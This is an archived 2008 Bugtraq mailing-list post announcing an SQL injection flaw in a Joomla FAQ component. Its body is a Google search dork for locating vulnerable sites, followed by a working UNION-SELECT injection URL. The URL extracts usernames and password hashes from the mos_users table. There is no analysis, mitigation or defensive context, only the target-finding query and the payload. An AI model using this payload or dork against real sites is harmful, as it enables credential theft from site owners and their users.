joomla faq SQL Injection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: joomla faq SQL Injection
From: hackturkiye.hackturkiye@xxxxxxxxx
Date: 13 Feb 2008 17:48:32 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

allinurl :"index.php?option=faq task"


index.php?option=faq&task=viewallfaq&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password),0x3a,0/**/from/**/mos_users/*

Prev by Date: joomla com_activities sql injection
Next by Date: all version Wordpress FORUM S@L injection
Previous by thread: joomla com_activities sql injection
Next by thread: all version Wordpress FORUM S@L injection
Index(es):
- Date
- Thread